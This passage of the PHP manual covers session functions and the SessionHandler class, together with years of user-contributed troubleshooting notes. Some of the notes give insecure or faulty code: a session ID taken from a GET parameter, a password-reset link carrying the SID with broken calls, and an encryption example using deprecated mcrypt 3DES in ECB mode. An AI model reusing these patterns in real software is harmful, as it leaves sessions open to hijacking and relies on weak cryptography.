Secondly, I found a weird solution: The website i'm building required Cyrillic type, so i encode the pages using UTF-8. The problem that happens is that UTF-8 sends information before the php tags, and therefore before the session_start(); which ultimately renders the session_start(); call ineffective.

The UTF-8 encoding sends a small chunk of information before anything. This is called BOM (byte order marks).

To ensure that they don't show up, you need to save your files with a UTF-8 encoding which bypasses BOM. BBEdit for the Macintosh with allow for this under the file encoding options.

To recap: In this instance and for my situation, UTF-8, no BOM will allow sessions to pass through the header( location:); redirect, or using PHP5.

Hope this helps someone! [i will also repeat this comment under the header() function]
James 14-Jul-2006 01:22
To avoid the notice commited by PHP since 4.3.3 when you start a session twice, check session_id() first:

if (session_id() == "")
  session_start();
saykyo (mail at gmail dot com) 12-Jul-2006 05:23
Watch out for using UTF-8 encoding in your php scripts!

I don't know about other enviroments, but in Windows XP, if you edit a document and set it to be UTF-8, the editor (notepad for exapmle) inserts two invisible bytes at the beginning of the file (they read FF FE in hex for me). I suppose this happens so Windows can identify the file as UTF-8.

Since these two bytes are placed before anything else in the file, including <? ?> tags, when you execute the php script, they get outputed to the browser (even tough they won't be shown in the source of the result document, they're there!) before your php code gets a chance to run anything. This effectively cripples functions like session_start() ($_COOKIE to be exact).

The solution is to save the php file in a different encoding, or to manually remove them (I prefer the former).

I hope I helped somebody.
admin at haravikk dot com 10-May-2006 03:00
Just a note for any of you who have the same trouble as I did. $_SESSION appears to break horribly if you attempt to assign information into integer keys.

For example, a result from a MySQL query may look like:

<?php
array(
    0 => 'haravikk',
    'username' => 'haravikk',
    1 => 'fish',
    'password' => 'fish'
    );
?>

Attempting to assign that to $_SESSION either as a straight array, or by placing all keys (for example using a foreach) will FAIL and the data will be unavailable when you move to another page. My solution was to do this:

<?php
function storeSessionArray($array) {
    foreach($array as $k => $v)
        if (is_string($k)) $_SESSION[$k] = $v;
}
?>

This worked correctly =)
james at skinsupport dot com 23-Dec-2005 03:17
One thing of note that caused me three days of trouble:

It's important to note that Firefox (for one) makes two calls to the server automatically.  One for the page, and one for favicon.ico.

If you are setting session variables (as I was) to certain values when a page exists, and other values when pages don't exist, the values for non-existent pages will overwrite the values for existing pages if favicon.ico doesn't exist.

I doubt many of you are doing this, but if you are, this is a consideration you need to address or you'll be bald over the course of a three day period!
zackbloom at gmail dot com 04-Dec-2005 08:16
Yes php does not automatically insert the SID in header redirects.  You must use something like:
'<address>?SID='.SID
to manually insert the SID.
jeremygiberson at gmail dot com 17-Oct-2005 08:13
foltscane at yahoo dot com wrote about people losing session information on page redirects.

The problem is some times the redirect may kick you off to the next page before all the session variables have been saved. The true solution to lost session vars on redirect is to simply call session_write_close(); before setting the redirect header. This will insure that php finishes writing the session info before page redirect gets underway.

ie:
<?
    session_start();
    $_SESSION['forward'] = "This session data will not be lost!";

    session_write_close();
    header('Location: nextpage.php');
?>
erm[at]the[dash]erm[dot]com 27-May-2005 10:04
If you are insane like me, and want to start a session from the cli so other scripts can access the same information.

I don't know how reliable this is.  The most obvious use I can see is setting pids.

// temp.php

#!/usr/bin/php -q
<?php

session_id ("temp");
session_start();

if ($_SESSION) {
    print_r ($_SESSION);
}

$_SESSION['test'] = "this is a test if sessions are usable inside scripts";

?>

// Temp 2

#!/usr/bin/php -q
<?php

session_id ("temp");
session_start();

    print_r ($_SESSION);

?>
corey at eyewantmedia dot com 20-May-2005 04:19
Here is a crazy feature -- you get one concurrent database connection per session, transparent to the programmer!

I am running php 5.0.4 on iis 6 (yeah, I know...). I noticed under stress testing that database connections were my bottleneck. I spent like 5 hours turning this on, that off, etc because I could not get php to create more than one database connection at a time, regardless of how many requests it was servicing. I tried running php as fastcgi, cgi, and isapi module. I tried using mysql and mysqli extensions. Same thing every time. Then I happened to turn off auto-start sessions and commented out my session_start() calls, and all of the sudden I get multiple connections like I expected!

Don't let this happen to you -- don't freak out! Apparently something somewhere tries to make sure your visitors don't get more than their share of your resources, so they get one db connection per session. I can't say it is what I would like to happen, but now that I know, it doesn't bother me much :) Hope this saves someone some time and headache!
Jose Cavieres 12-Apr-2005 07:11
For the problem of session lost after of redirect with header location...

Try with this:
<?
session_start();
$_SESSION['mySession'] = "hello";

header ("Location: xpage.php");
exit(); //This sentence do the magic
?>
jorrizza at gmail dot com 02-Apr-2005 02:33
If you open a popup window (please no commercial ones!) with javascript window.open it might happen IE blocks the session cookie.
A simple fix for that is opening the new window with the session ID in a GET value. Note I don't use SID for this, because it will not allways be available.

----page.php----
//you must have a session active here
window.open('popup.php?sid=<?php echo session_id(); ?>', '700x500', 'toolbar=no, status=no, scrollbars=yes, location=no, menubar=no, directories=no, width=700, height=500');

----popup.php----
<?php
session_id(strip_tags($_GET['sid']));
session_start();
//and go on with your session vars
?>
hbertini at sapo dot pt 13-Mar-2005 09:29
workaround when using session variables in a .php file referred by a frame (.html, or other file type) at a different server than the one serving the .php:

Under these conditions IE6 or later silently refuses the session cookie that is attempted to create (either implicitly or explicitly by invoquing session_start()).

As a consequence, your session variable will return an empty value.

According to MS kb, the workaround is to add a header that says your remote .php page will not abuse from the fact that permission has been granted.

Place this header on the .php file that will create/update the session variables you want:

<?php header('P3P: CP="CAO PSA OUR"'); ?>

Regards,
Hugo
raphael at cynage dot com 22-Feb-2005 05:35
Quick point, since this had been going round in circles for days...

IE will not accept sessions from a domain that has an non alpha-numeric character in it. My development site was running under the vhost mos_dev and it was killing me, trying to work out why IE kept dropping my sessions.
lukasl at ackleymedia dot REMOVESPAM dot com 17-Dec-2004 07:18
About the Session not getting saved on a header("Location:") redirect.

Make sure to call session_write_close() before doing the redirect.  This will make sure that the session values get written to the disk.
m dot kuiphuis at hccnet dot nl 24-Jun-2003 12:37
[Editors Note: For more information about this
http://www.zvon.org/tmRFC/RFC882/Output/chapter5.html ]

I use name-based virtual hosting on Linux with Apache and PHP 4.3.2.
Every time when I refreshed (by pressing F5 in Internet Explorer) I noticed that I got a new session_id. Simultaneously browsing the same site with Netscape didn't give me that problem. First I thought this was some PHP issue (before I tested it with Netscape), but after searching a lot on the internet I found the problem.
Since I was using name based virtual hosting for my testserver and we have different webshops for different customers I used the syntax webshop_customername.servername.nl as the domain-name.
The _ in the domain name seemed to be the problem. Internet Explorer just denies setting the cookie on the client when there is a special character (like an _ ) in the domain name. For more information regarding this issue: http://support.microsoft.com/default.aspx?scid=kb;EN-US;316112
Stupidly enough, this information was related to asp (yuk :o)
gadgetguy03 at lycos dot com 21-Jun-2003 04:18
SESSION LOST ON HEADER REDIRECT (CGI on IIS 5.0)

I realize there are numerous scattered posts on this issue, but I would like to add my 2� since it took me a whole day and a download of the LiveHTTPHeaders Mozilla plugin to figure it out.

On the **CGI** version of PHP on IIS 5.0/Windows 2000, the following code will not work as expected:

/***** sess1.php *****/
session_start();
$_SESSION["key1"] = "testvalue";
header("Location: sess2.php");

/***** sess2.php *****/
session_start();
echo "key1 = '".$_SESSION["key1"]."'";

PROBLEM:
All session data is lost after a header redirect from the first page on which the session is initialized. The problem is, the PHPSESSID cookie is not being sent to the browser (ANY browser, IE or Mozilla) on the initial session page with the header("Location: ...") redirect. This is unrelated to client cookie settings - the set-cookie: header just isn't sent.

SOLUTION:
I was able to remedy the problem by switching to the ISAPI DLL version. This seems to be an MS/IIS bug, NOT a PHP bug - go figure. I hope this saves you some headaches especially with your user authentication scripts!!

The closest matching "bug" report I found:
http://bugs.php.net/bug.php?id=14636


Returns the current session status

  • « session_start
  • session_unregister »
  • PHP Manual
  • Session Functions
  • Returns the current session status

session_status

(PHP >=5.4.0)

session_status — Returns the current session status

Description

int session_status ( void )

session_status() is used to return the current session status.

Return Values

  • PHP_SESSION_DISABLED if sessions are disabled.
  • PHP_SESSION_NONE if sessions are enabled, but none exists.
  • PHP_SESSION_ACTIVE if sessions are enabled, and one exists.

See Also

  • session_start() - Start new or resume existing session

User Contributed Notes

Ollea 30-Jan-2014 08:02
If you started and closed a session then test ( session_id() === '' ) to check if a session is active it won't work, session_id() returns an ID even if the session is closed.

Anybody knows another way before PHP 5.4 to check if a session is really not currently active ?
coder dot ua at gmail dot com 15-Oct-2013 11:13
Universal function for checking session status.

<?php
/**
 * @return bool
 */
function is_session_started()
{
    if ( php_sapi_name() !== 'cli' ) {
        if ( version_compare(phpversion(), '5.4.0', '>=') ) {
            return session_status() === PHP_SESSION_ACTIVE ? TRUE : FALSE;
        } else {
            return session_id() === '' ? FALSE : TRUE;
        }
    }
    return FALSE;
}

// Example
if ( is_session_started() === FALSE ) session_start();
?>
php at kenman dot net 03-Aug-2013 12:45
The purpose of this functionality can aid you specifically in cases where code -- prior to your current code -- might have opened a session and then closed it.

Specifically, depending on $_SESSION, session_id(), and the SID constant to determine if a session is active will FAIL if a session has previously been opened & closed within the same request cycle.

Please see the original bug report here:

https://bugs.php.net/bug.php?id=52982
php at pointpro dot nl 16-Apr-2013 04:06
The advice of ive_insomnia at live dot com should be taken with great care.

First of all, while his use case for session_status is valid, a simpler way to avoid the warning is:

<?php
if (!isset($_SESSION)) { session_start(); }
?>

The example of session_status uses the raw values of constants (2 in this case) created specifically for the purpose of not having to use magic numbers.

Better code would be:

<?php
if (session_status() !== PHP_SESSION_ACTIVE) {session_start();}
?>

The same can be done using

<?
if (session_id() === "") { session_start(); }
?>

The use of this function is lies more towards status management: change the behavior of a script when sessions are disabled altogether, for example.


Unregister a global variable from the current session

  • « session_status
  • session_unset »
  • PHP Manual
  • Session Functions
  • Unregister a global variable from the current session

session_unregister

(PHP 4, PHP 5 < 5.4.0)

session_unregister — Unregister a global variable from the current session

Description

bool session_unregister ( string $name )

session_unregister() unregisters the global variable named name from the current session.

Warning

This function has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.

Parameters

name

The variable name.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

If $_SESSION (or $HTTP_SESSION_VARS for PHP 4.0.6 or less) is used, use unset() to unregister a session variable. Do not unset() $_SESSION itself as this will disable the special function of the $_SESSION superglobal.

Caution

This function does not unset the corresponding global variable for name, it only prevents the variable from being saved as part of the session. You must call unset() to remove the corresponding global variable.

Caution

If you are using $_SESSION (or
$HTTP_SESSION_VARS), do not use
session_register(),
session_is_registered() and
session_unregister().

User Contributed Notes

dylan82 AT xs4all DOT nl 09-Dec-2004 10:13
If globals is on, you'll have to unset the $_SESSION[varname] as well as the $varname.

Like:

unset($_SESSION[varname]);
unset($varname);
jsmith at uncommoner dot com 27-Nov-2004 07:55
as a side note you must have session_start() set inorder to actually unregister the session varibles.


Free all session variables

  • « session_unregister
  • session_write_close »
  • PHP Manual
  • Session Functions
  • Free all session variables

session_unset

(PHP 4, PHP 5)

session_unset — Free all session variables

Description

void session_unset ( void )

The session_unset() function frees all session variables currently registered.

Return Values

No value is returned.

Notes

Note:

If $_SESSION (or $HTTP_SESSION_VARS for PHP 4.0.6 or less) is used, use unset() to unregister a session variable, i.e. unset ($_SESSION['varname']);.

Caution

Do NOT unset the whole $_SESSION with unset($_SESSION) as this will disable the registering of session variables through the $_SESSION superglobal.

User Contributed Notes

mwgamera at gmail dot com 01-Jan-2013 02:42
There is nothing magical about the $_SESSION superglobal and unsetting it.
One has simply to remember that all the session_* functions will use continue to
use exactly that instance of array that was set up by session_start.

Consider this example:
<?php
session_start();
var_dump($_SESSION);
$a =& $_SESSION;
unset($_SESSION);
$a['x'] = 1; // $a refers to the original $_SESSION
$_SESSION['x'] = 2; // new unrelated array
session_write_close();
// saved session contains x => 1
?>
tim at leethost dot com 06-Jan-2012 12:50
I was having a problem clearing all session variables, deleting the session, and creating a new session without leaving old session stuff behind in all browsers.  The below code is perfect for a logout script to totally delete everything and start new.  It even works in Chrome which seems to not work as other browsers when trying do logout and start a new session.

<?php
    session_start();
    session_unset();
    session_destroy();
    session_write_close();
    setcookie(session_name(),'',0,'/');
    session_regenerate_id(true);
?>
notsonewbie 06-Jan-2011 12:56
dash2nash: you have to start the session before you can unset or destroy it.
dash2nash 21-Oct-2010 03:16
Im using chrome and Im not a pro in php, but Im certainly sure that session sure is buggy on google chrome, I use:

    session_unset();
    session_destroy();
    $_SESSION = array();
    session_start();

every time the page load, yet, some of the session still there. It's quite scary problem :s
00 at f00n dot com 24-Jun-2008 04:00
-------------------------------------------------------
InterNic
20-May-2006 11:20
sometimes you might have problems even if using both session_unset and session_destroy. You have to clear the $_SESSION array. I got it working this way:

session_unset();
session_destroy();
$_SESSION = array();
-------------------------------------------------------

When I used this method the session still existed in structure until the array is reset completely.

This, however, has the drawback of clearing all sessions which may not be ideal in some cases.

Named sessions may help in such cases.
zach at zkwarta dot com 14-Jul-2005 12:32
The difference between both session_unset and session_destroy is as follows:

session_unset just clears out the sesison for usage. The session is still on the users computer. Note that by using session_unset, the variable still exists.

Using session_unset in tandem with session_destroy however, is a much more effective means of actually clearing out data. As stated in the example above, this works very well, cross browser:

session_unset();
session_destroy();

I noticed that in firefox, one could simply use sesison_unset and the session would be cleared. When trying this on IE, I was horrified to find out that the data was still there, so I had to use session destroy.
Jeroen 15-Jan-2005 10:42
note to Jason: I don't know the exact mechanics of it (since I'm quite new to sessions) but I think you need to use session_unset() BEFORE you can use session_destroy() at all.  I thought that session_unset() was for scripted variables, and session_destroy() just for anything saved on your side regarding the session.
21-Mar-2001 05:58
To further clarify the note above... this can be done via the session handling directives in your php.ini file... there are options to set garbage collection probability (via percent... i.e. 75 means it would run 3 out of every 4 page accesses), and the amount of time a session object can remain active before the garbage collection process sees it as garbage.


Write session data and end session

  • « session_unset
  • SessionHandler »
  • PHP Manual
  • Session Functions
  • Write session data and end session

session_write_close

(PHP 4 >= 4.0.4, PHP 5)

session_write_close — Write session data and end session

Description

void session_write_close ( void )

End the current session and store session data.

Session data is usually stored after your script terminated without the need to call session_write_close(), but as session data is locked to prevent concurrent writes only one script may operate on a session at any time. When using framesets together with sessions you will experience the frames loading one by one due to this locking. You can reduce the time needed to load all the frames by ending the session as soon as all changes to session variables are done.

Return Values

No value is returned.

See Also

  • The session_register_shutdown() - Session shutdown function

User Contributed Notes

atul at jreply dot com 12-Jul-2013 04:45
An easy gotcha here - the $_SESSIONS superglobal does not vanish because you call session_write_close.  If subsequent to the write_close call if you manipulate the superglobal the changes will not be saved when the script exists.  Likewise a call to session_regenrate_id will fail.

Closing the session and then manipulating session variables is not something many would do by intent.  However, if your sessions suddenly start misbehaving, failing to record changes etc it is well worth checking that the cause is not this one!
bernard dot savonet+ at gmail dot com 16-Mar-2012 06:46
Beware of session_write_close when calling PHP scripts from an Ajax page: this does not "finalize" the session data writing, but in fact it resets it!
sss at activators dot info 06-Oct-2011 10:55
i have been using a mysql database custom session handler (not using cookies) and was having problems getting the session data to be saved consistantly on my database driven website

clients also have to navigate across domains for website management at times so i have some special code to make all this happen relatively seamlessly and to ensure that each person's data is secure.

i added session_write_close() at the very end of the last script that set session data and solved the problem.

i am not sure why, but it seems the calls to write and close were not always being made (i was not smart enough to figure it out)

now that the session_write_close() call is being made, my problems seemed to have disappeared - hopefully for good.

hope this helps someone.
joadha at gmail dot com 10-Mar-2011 07:23
Remember: objects with private and/or protected data members cannot be serialized properly by PHP. If you ever find that you are missing some objects from your $_SESSION, make sure you are accounting for this shortcoming in your application.
Anonymous 25-Mar-2010 08:44
You can have interesting fun debugging anything with sleep() in it if you have a session still active.  For example, a page that makes an ajax request, where the ajax request polls a server-side event (and may not return immediately).

If the ajax function doesn't do session_write_close(), then your outer page will appear to hang, and opening other pages in new tabs will also stall.
prophp at gmail dot com 26-Nov-2009 03:21
Beware, if you overwrite the default PHP Session handling and use debugging code inside the write() function, the debugging code is not executed until you run session_write_close().

I tried everything, file logging directly from the write() function, global debugging variable increments, static class properties. The only things written were the session open() and read() calls. My debugging code looks like this:
<?php
$Session = new Session();
...
class Session() {
    public function write($id)
        $sql = "UPDATE ... WHERE id=". mysql_real_escape_string($id);
        self::$debug_Info .= "session_write sql=$sql";
    ...
}

# then at the very end of the script:
# session debugging
session_write_close();
error_log($Session->getDebugInfo(), 3, 'logs/sessions.log');
?>

where getDebugInfo simply returns self::$debug_Info. Without session_write_close() the sessions.log would only contain the open() and read() calls.

Maybe intuitive to many, it took days to realize. hope it helps!
web at murray-mint dot co dot uk 11-Sep-2009 02:36
If you're saving data to a session but finding it's not actually being saved, check and ensure that you're not assigning any arrays with a key containing the pipe character (|). This will prevent the session data from being serialized and saved.
martyrs_cry at hotmail dot com 14-May-2009 10:06
Using a SQL Server database and Windows Server 2003, if you use session_write_close() prior to a header() call, and it still appears to freeze up your session, check to make sure that you are not in the middle of a transaction.

I noticed that by starting a transaction, executing some queries, attempting to write close the session and then redirecting without rolling back or committing that transaction, your session may freeze up. Just like what you may experience if you attempt to redirect with header() without first calling session_write_close().
noel 04-Nov-2008 06:29
I was having the same problem as many here regarding setting session data just before a header location redirect and having the session data just not be there.  I tried everything people here said, and none of their combinations worked.  What did finally work for me was to fire off a session_regenerate_id(true) call just prior to the header() and die() calls.

session_regenerate_id(true);
header('location: blah blah');
die();

Without the regenerate id call, the write close did not seem to do anything.  session_write_close() doesn't seem to matter at all.  It certainly didn't fix anything on its own for me.

This is a rather annoying issue with php sessions that I've never run into before.  I store my sessions to /dev/shm (which is RAM) so file IO blocking can't be the problem.  Now I'm nervous that some other session data might not be getting updated prior to a header() location change, which is extremely important and common in any web app.
ivan at alexandrov dot biz 29-Sep-2008 04:14
I had a problem with realizing the restore password form. First a user entered his login or e-mail in the system.

Then the script searched the database, got the session data, and sended link with SID to registered e-mail. The link was configured so, that it restored session data and logged user in the secure interface to the change password form.

Then was displayed a page with the message about sended message.

The problem was that ID was not unique in three pages, the SID sended to e-mail anyone could see in cookie.

I tryed to start new session before generating and after sending link with the code:

<?php ....
session_start();
/*Getting user login and e-mail from database*/
$user_login = "....";
$user_id = "....."

/*CLOSE PREVIOUS SESSION*/
session_unlink();
session_destroy();

/*NOW GENERATING LINK FOR SESSION DATA */
session_start();
$_SESSION = $user_login;
$_SESSION = $user_id;
/*here generating link:*/
$link = "http://host.com/restore=" . SID . "";
mail (....);

/*CLOSE THE SESSION WITH USER DATA*/
session_write_close();

/*AND STARTING A NEW SESSION*/
session_start();
/*THEN LOAD THE 'MESSAGE SENDED' PAGE*/
header("Location: /restore/message_sended/");

?>

The trouble was that SID was the same even after session_unlink() and session_write_close(). The session_start() function just restored the previous session data!!! So the script was not safe.
Then I added session_regenerate_id() call after each session_start().

<?php ....
session_start();
/*Getting user login and e-mail from database*/
$user_login = "....";
$user_id = "....."

/*CLOSE PREVIOUS SESSION*/
session_unlink();
session_destroy();

/*NOW GENERATING LINK FOR SESSION DATA */
session_start();
session_regenerate_id();//Regenerating SID for sending

$_SESSION = $user_login;
$_SESSION = $user_id;

/*here generating link:*/
$link = "http://host.com/restore=" . SID . "";
mail (....);

/*CLOSE THE SESSION WITH USER DATA*/
session_write_close();

/*AND STARTING ANOTHER NEW SESSION*/
session_start();
session_regenerate_id(); //Regenerating SID
/*THEN LOAD THE 'MESSAGE SENDED' PAGE*/
header("Location: /restore/message_sended/");

?>

 And now it works as needed! The SID sending to user we cannot see in cookies nor before neither after generated link, but the data is saved in session with this id. So only the owner of account can get it!
kent openit se 22-Sep-2008 11:49
When trying to use exec on Windows 2003 Server together with WAMP you probably will experience that the server stops to answer your requests.

Through calling session_write_close before -every- exec this will solve your problem.

Hope this will help someone!
yacine at wasabihawaii dot com 06-Aug-2008 11:04
My sessions were screwing up because I had 2 different session IDs going at once:

- 1 PHPSESSID cookie for domain.com
- 1 PHPSESSID cookie for www.domain.com

This fixed it:

//At the beginning of each page...
session_set_cookie_params  (1800,"/","domain.com");
session_start();
burak >>>at 26-Apr-2008 08:32
I had a similar problem with session data.
I lost the session data randomly, without any pattern. I didn't even use the header(location:... ) function.

Tried:
set "session.use_cookies" to 1 in php.ini
session-write-close()
ob_start() / ob_end_flush()

No matter what I did, it didn't worked.

Finally, when I set the "session.use_only_cookies" to 1, problem is solved. I am no longer losing any sessions.
steve at dot-totally dot co dot uk 21-Jul-2007 09:03
For the session problem when using header("Location:..."), I found session_write_close() not to help me on the my IIS server using PHP in CGI mode. The problem was the PHPSESSID cookie was never being set, so I did it the manual way:

header("Set-Cookie: PHPSESSID=" . session_id() . "; path=/");

Worked for me this way!
cottoANTISPAM at ori dot org 14-Mar-2007 08:37
This function is useful for forcing serialization of session data but it can introduce difficult-to-track bugs if it's called more than once per session_start() call.  Since it doesn't have a return value or raise an exception there won't be any indication that the serialization failed and the code will continue normally.  Only when a user visits a page that depends on unsaved session data will there be any indication of the failure.
As far as I can tell this affects both the default and custom session handling functions.

<?
session_start();
$_SESSION['foo'] = 'box';
session_write_close();

if (array_key_exists('visited',$_SESSION) {
    echo "welcome back!\n"; # will never happen
} else {
    echo "I don't know you.\n";
    $_SESSION['visited'] = true;
    session_write_close();
}
?>
tyler at n49 dot com 01-Feb-2007 02:49
Along the same lines as what cenaculo at netcabo dot pt, bkatz at usefulengineering dot com, and editorial at literati dot ca said about making sure you session_write_close(), don't forget to ob_end_flush() if you're using output buffering.

I've been having some weird hanging issues when I tried to navigate away from a page with content streaming in an Iframe or a separate window.

Instead of:

<?
ob_start();
session_start();
/* Do session stuff here; security; logging; etc. */
session_write_close();
/* NOW write out the requested file. */
header("Content-type: audio/x-mpeg"); /* or whatever type */
header("Content-Disposition: attachment; filename=" . $filename);
header("Content-Length: " . $filesize);
header("Content-Transfer-Encoding: binary\n\n");
header("Pragma: no-cache");
header("Expires: 0");
$file_contents = file_get_contents($filepath);
print($file_contents);
?>

Do:

<?
ob_start();
session_start();
/* Do session stuff here; security; logging; etc. */
session_write_close();
/* Make sure data is actually flushed out to the browser */
ob_end_flush();
/* NOW write out the requested file. */
header("Content-type: audio/x-mpeg"); /* or whatever type */
header("Content-Disposition: attachment; filename=" . $filename);
header("Content-Length: " . $filesize);
header("Content-Transfer-Encoding: binary\n\n");
header("Pragma: no-cache");
header("Expires: 0");
$file_contents = file_get_contents($filepath);
print($file_contents);
?>
risaac at deadletter dot com 04-Apr-2006 09:46
Workaround if session_write_close() still doesn't write sessions fast enough:

I found with one PHP login system that even session_write_close() was not setting the session variables before I transferred pages with a Location: header.  So the user would log in, I would create the $_SESSION variables, call session_write_close() and then transfer to the secure page using header(Location:...).  The secure page would check for the session vars, not find them, and force the user to log in again.  After the second login the session would be found and they could continue.

My workaround was to create the $_SESSION variables with 0 values before writing the initial login page.  Then I updated the session vars with the login results and used the header() function to switch to the secure location.  Once the session vars have already been created, updated values are assigned quickly.  Problem solved.  Just be sure the secure page checks both that the $_SESSION var exists AND that it's not 0.
unspammable-iain at iaindooley dot com 24-Dec-2005 06:57
As we all know, if an object is serialised, then the class definition must be included _before_ it is unserialised.

My framework has an enormous number of class files, and including them all at the beginning of the script was really taking it's toll on my system (memory and execution time) so I switched to including required classes at the top of each class file that used them using require_once.

This caused problems because I start my session at the very beginning of my script's execution, but all my class files aren't there at the beginning!!

So no in my special 'require' function, I do the following:

if(!class_exists($to_require))
{
    session_write_close();
    require_once('path/to/classes/'.$to_require.'.php');
    session_start();
}

This is a considerably smaller performance hit that including every class that the application uses at the very beginning of the application.
bkatz at usefulengineering dot com 17-Jul-2005 05:05
session_write_close() worked as a lifesaver for me when automatically uploading files to a user (forcing a download instead of a link). If files are large, and since session_start() does not allow another page using session_start() to proceed until it's done, i was not able to upload more than one file at a time. By using session_write_close() before beginning the file upload, my users can now download as many big files as they like, at the same time. Example:

<?
session_start();
/* Do session stuff here; security; logging; etc. */
session_write_close();
/* NOW write out the requested file. */
header("Content-type: audio/x-mpeg"); /* or whatever type */
header("Content-Disposition: attachment; filename=" . $filename);
header("Content-Length: " . $filesize);
header("Content-Transfer-Encoding: binary\n\n");
header("Pragma: no-cache");
header("Expires: 0");
$file_contents = file_get_contents($filepath);
print($file_contents);
?>
editorial at literati dot ca 15-May-2005 10:13
Further to the comment by nakanishi at mailstyle dot com, it appears that calling session_write_close() followed by session_start() causes issues if you have more than one browser window/tab open in the session, and have a large session data array.  I have an intermitent (and hard to replicate reliably) issue with session_start() never being called or not returning - the script hangs before the session headers are written.  I'm puting this down to trying to be too clever rather than to a bug per se.
kumar mcmillan 06-May-2004 06:54
if you are trying to work with a larger code base meant for a specific application... and it implements some custom session save handlers, it appears there is no way to reset those save handlers back to the default php state if they are getting in your way.  my workaround:

session_write_close(); // close the session at the top of the page :)
jp at webgraphe dot com 22-Nov-2003 12:50
It is a good idea to call session_write_close() before proceeding to a redirection using

header("Location: URL");
exit();

because it ensures the session is updated (in a file or into a database, depending on the handler you're using) BEFORE you redirect the visitor somewhere else.

JP.
nakanishi at mailstyle dot com 19-Jan-2003 08:04
Make sure that you call session_start() again after session_write_close() if you rely on the SID rewriting.  Otherwise it will not be rewritten.


The SessionHandler class

(PHP 5 >= 5.4.0)

Introduction

SessionHandler is a special class that can be used to expose the current internal PHP session save handler by inheritance. There are seven methods which wrap the seven internal session save handler callbacks (open, close, read, write, destroy, gc and create_sid). By default, this class will wrap whatever internal save handler is set as defined by the session.save_handler configuration directive which is usually files by default. Other internal session save handlers are provided by PHP extensions such as SQLite (as sqlite), Memcache (as memcache), and Memcached (as memcached).

When a plain instance of SessionHandler is set as the save handler using session_set_save_handler() it will wrap the current save handlers. A class extending from SessionHandler allows you to override the methods or intercept or filter them by calls the parent class methods which ultimately wrap the interal PHP session handlers.

This allows you, for example, to intercept the read and write methods to encrypt/decrypt the session data and then pass the result to and from the parent class. Alternatively one might chose to entirely override a method like the garbage collection callback gc.

Because the SessionHandler wraps the current internal save handler methods, the above example of encryption can be applied to any internal save handler without having to know the internals of the handlers.

To use this class, first set the save handler you wish to expose using session.save_handler and then pass an instance of SessionHandler or one extending it to session_set_save_handler().

Please note the callback methods of this class are designed to be called internally by PHP and are not meant to be called from user-space code. The return values are equally processed internally by PHP. For more information on the session workflow, please refer session_set_save_handler().

Class synopsis

SessionHandler implements SessionHandlerInterface {
/* Methods */
public bool close ( void )
public string create_sid ( void )
public bool destroy ( string $session_id )
public bool gc ( int $maxlifetime )
public bool open ( string $save_path , string $session_id )
public string read ( string $session_id )
public bool write ( string $session_id , string $session_data )
}
Warning

This class is designed to expose the current internal PHP session save handler, if you want to write your own custom save handlers, please implement the SessionHandlerInterface interface instead of extending from SessionHandler.

Changelog

Version | Description
5.5.1 | Added SessionHandler::create_sid().

Example #1 Using SessionHandler to add encryption to internal PHP save handlers.

<?php
class EncryptedSessionHandler extends SessionHandler
{
    private $key;

    public function __construct($key)
    {
        $this->key = $key;
    }

    public function read($id)
    {
        $data = parent::read($id);

        return mcrypt_decrypt(MCRYPT_3DES, $this->key, $data, MCRYPT_MODE_ECB);
    }

    public function write($id, $data)
    {
        $data = mcrypt_encrypt(MCRYPT_3DES, $this->key, $data, MCRYPT_MODE_ECB);

        return parent::write($id, $data);
    }
}

// we'll intercept the native 'files' handler, but will equally work
// with other internal native handlers like 'sqlite', 'memcache' or 'memcached'
// which are provided by PHP extensions.
ini_set('session.save_handler', 'files');
$handler = new EncryptedSessionHandler('mykey');
session_set_save_handler($handler, true);
session_start();

// proceed to set and retrieve values by key from $_SESSION

Note:

Since this class' methods are designed to be called internally by PHP as part of the normal session workflow, child class calls to parent methods (i.e. the actual internal native handlers) will return FALSE unless the session has actually been started (either automatically, or by explicit session_start(). This is important to consider when writing unit tests where the class methods might be invoked manually.

Table of Contents

  • SessionHandler::close — Close the session
  • SessionHandler::create_sid — Return a new session ID
  • SessionHandler::destroy — Destroy a session
  • SessionHandler::gc — Cleanup old sessions
  • SessionHandler::open — Initialize session
  • SessionHandler::read — Read session data
  • SessionHandler::write — Write session data

User Contributed Notes

There are no user contributed notes for this page.


Close the session

  • « SessionHandler
  • SessionHandler::create_sid »
  • PHP Manual
  • SessionHandler
  • Close the session

SessionHandler::close

(PHP 5 >= 5.4.0)

SessionHandler::close — Close the session

Description

public bool SessionHandler::close ( void )

Closes the current session. This method is automatically executed internally by PHP when closing the session, or explicitly via session_write_close() (which first calls the SessionHandler::write()).

This method wraps the internal PHP save handler defined in the session.save_handler ini setting that was set before this handler was activated by session_set_save_handler().

If this class is extended by inheritiance, calling the parent close method will invoke the wrapper for this method and therefor invoke the associated internal callback. This allows the method to be overidden and or intercepted.

For more information on what this method is expected to do, please refer to the documentation at SessionHandlerInterface::close().

Parameters

This function has no parameters.

Return Values

The return value (usually TRUE on success, FALSE on failure). Note this value is returned internally to PHP for processing.

User Contributed Notes

There are no user contributed notes for this page.


Return a new session ID

  • « SessionHandler::close
  • SessionHandler::destroy »
  • PHP Manual
  • SessionHandler
  • Return a new session ID

SessionHandler::create_sid

(PHP 5 >= 5.5.1)

SessionHandler::create_sid — Return a new session ID

Description

public string SessionHandler::create_sid ( void )

Generates and returns a new session ID.

Return Values

A session ID valid for the default session handler.

See Also

  • session_id() - Get and/or set the current session id

User Contributed Notes

There are no user contributed notes for this page.


Destroy a session

  • « SessionHandler::create_sid
  • SessionHandler::gc »
  • PHP Manual
  • SessionHandler
  • Destroy a session

SessionHandler::destroy

(PHP 5 >= 5.4.0)

SessionHandler::destroy — Destroy a session

Description

public bool SessionHandler::destroy ( string $session_id )

Destroys a session. Called by internally by PHP with session_regenerate_id() (assuming the $destory is set to TRUE, by session_destroy() or when session_decode() fails.

This method wraps the internal PHP save handler defined in the session.save_handler ini setting that was set before this handler was set by session_set_save_handler().

If this class is extended by inheritiance, calling the parent destroy method will invoke the wrapper for this method and therefor invoke the associated internal callback. This allows this method to be overidden and or intercepted and filtered.

For more information on what this method is expected to do, please refer to the documentation at SessionHandlerInterface::destroy().

Parameters

session_id

The session ID being destroyed.

Return Values

The return value (usually TRUE on success, FALSE on failure). Note this value is returned internally to PHP for processing.

User Contributed Notes

There are no user contributed notes for this page.


Cleanup old sessions

  • « SessionHandler::destroy
  • SessionHandler::open »
  • PHP Manual
